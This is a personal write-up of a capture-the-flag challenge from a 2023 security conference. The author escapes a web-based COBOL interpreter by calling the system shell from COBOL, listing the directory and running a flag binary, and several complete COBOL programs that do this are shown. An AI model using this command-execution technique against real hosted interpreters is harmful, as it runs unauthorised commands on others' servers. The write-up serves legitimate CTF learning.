2023 Optiv Source Zero Con CTF

I enjoyed the conference thoroughly, despite recovering from illness earlier this week. While I could attribute the low placement to illness, it was genuinely due to a lack of time and effort with a compressed week. 33rd is not inspiring performance, but the COBOL challenge was an enjoyable way to recover.

Limited time resulted in the COBOL flag challenge the one I felt worthy of a report. Spawning the container for the host, we are presented with what appears to be a web based COBOL interpreter using web form input for read, and a GNU/Linux COBOL interpreter on the backend. The interpreter output is redirected to the screen. My initial thoughts are based upon my re-certification in COBOL this January, I would try a system call and attempt to execute code.

My initial program identified what type of system we were working with.

IDENTIFICATION DIVISION.
PROGRAM-ID. COBOL-FOREVER.
DATA DIVISION.
WORKING-STORAGE SECTION.
01 P POINTER.
01 PATH pic x(5) value Z"PATH".
01 var-ptr pointer.
01 var-len pic 9(4) binary.
01 putenv-arg pic x(14) value Z"MYVAR=ABCDEFG".
01 rc pic 9(9) binary.
Linkage section.
01 var pic x(5000).
PROCEDURE DIVISION.
    Set P to address of PATH
    Call "getenv" using by value P returning var-ptr
    If var-ptr = null then
        Display "PATH not set"
    Else
        Set address of var to var-ptr
        Move 0 to var-len
        Inspect var tallying var-len
          for characters before initial X"00"
        Display "PATH = " var(1:var-len)
    End-if
GOBACK.

Based upon the path returned, this host is running a COBOL interpreter in GNU/Linux or Unix. Next, I attempted to run the following to learn the directory contents. Leveraging the pwd command, we find our working directory was /app.

IDENTIFICATION DIVISION.
PROGRAM-ID. COBOL-FOREVER.
data division.
working-storage section.

77 cmdline     pic x(100).

procedure division.

   move z"dir" to cmdline
   call "SYSTEM" using cmdline

   stop run.
GOBACK.

Executing the code worked, we successfully return the working directory listing.

The challenge specified the flag was returned by executing the /getflag.bin file. Resolution was achieved using a combination of calling system and asking for the execution of the appropriate bin from the directory above our directory revealed by using pwd.

IDENTIFICATION DIVISION.
PROGRAM-ID. COBOL-FOREVER.
data division.
working-storage section.

77 cmdline     pic x(100).

procedure division.

   move z"./../getflag.bin" to cmdline
   call "SYSTEM" using cmdline

   stop run.
GOBACK.

Thank you again Optiv for hosting the CTF, and thank you Hack The Box for sponsoring the prizes. I was fortunate, winning a One Month VIP+ Subscription voucher, an excellent return on 4 hours invested. I look forward to participating again!

UPDATE

Chatting in the CTF Discord afterward, VOiD provided the following solution, which is technically faster to execute. I hope you don’t mind I’ve included it below.

*> SAMPLE GnuCOBOL PROGRAM
IDENTIFICATION DIVISION.
PROGRAM-ID. COBOL-FOREVER.
PROCEDURE DIVISION.
DISPLAY
    "COBOL FOREVER!"
END-DISPLAY
CALL "system" using "/getflag.bin"
GOBACK.